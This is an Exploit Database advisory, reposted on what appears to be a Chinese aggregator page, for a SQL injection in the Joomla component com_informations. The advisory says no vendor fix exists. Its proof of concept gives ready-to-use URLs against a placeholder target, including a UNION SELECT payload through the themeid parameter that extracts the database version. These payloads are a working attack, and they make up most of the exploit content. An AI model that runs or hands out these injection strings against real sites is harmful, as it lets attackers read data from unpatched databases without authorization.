Joomla! Component com_informations – SQL Injection

• Exploit Database
• 121 阅读

• 作者： Omar
  日期： 2015-08-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37774/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

  # Exploit Title: Joomla com_informations component SQL Injection vulnerability # Date: 13-08-2015 # Software Link: N/A # Exploit Author: Omar AbuHassan # Contact: https://www.linkedin.com/pub/omar-abu-hassan/bb/600/960 # CVE: N/A # Category: webapps # Version: All # Tested on: Kali linux (x64) / Windows 8.1 pro (x64) 1. Description Normal user can inject sql query in the url which lead to read data from the database. 2. Proof of Concept   http://[target]/index.php?option=com_informations&view=sousthemes&themeid=-3 (SQLI)   Injected column is # 3   http://[target]//index.php?option=com_informations&view=sousthemes&themeid=999.9+union+select+111,222,version()%23   ** No solution yet from vendor **   ####################### # Greets to Palestine # #######################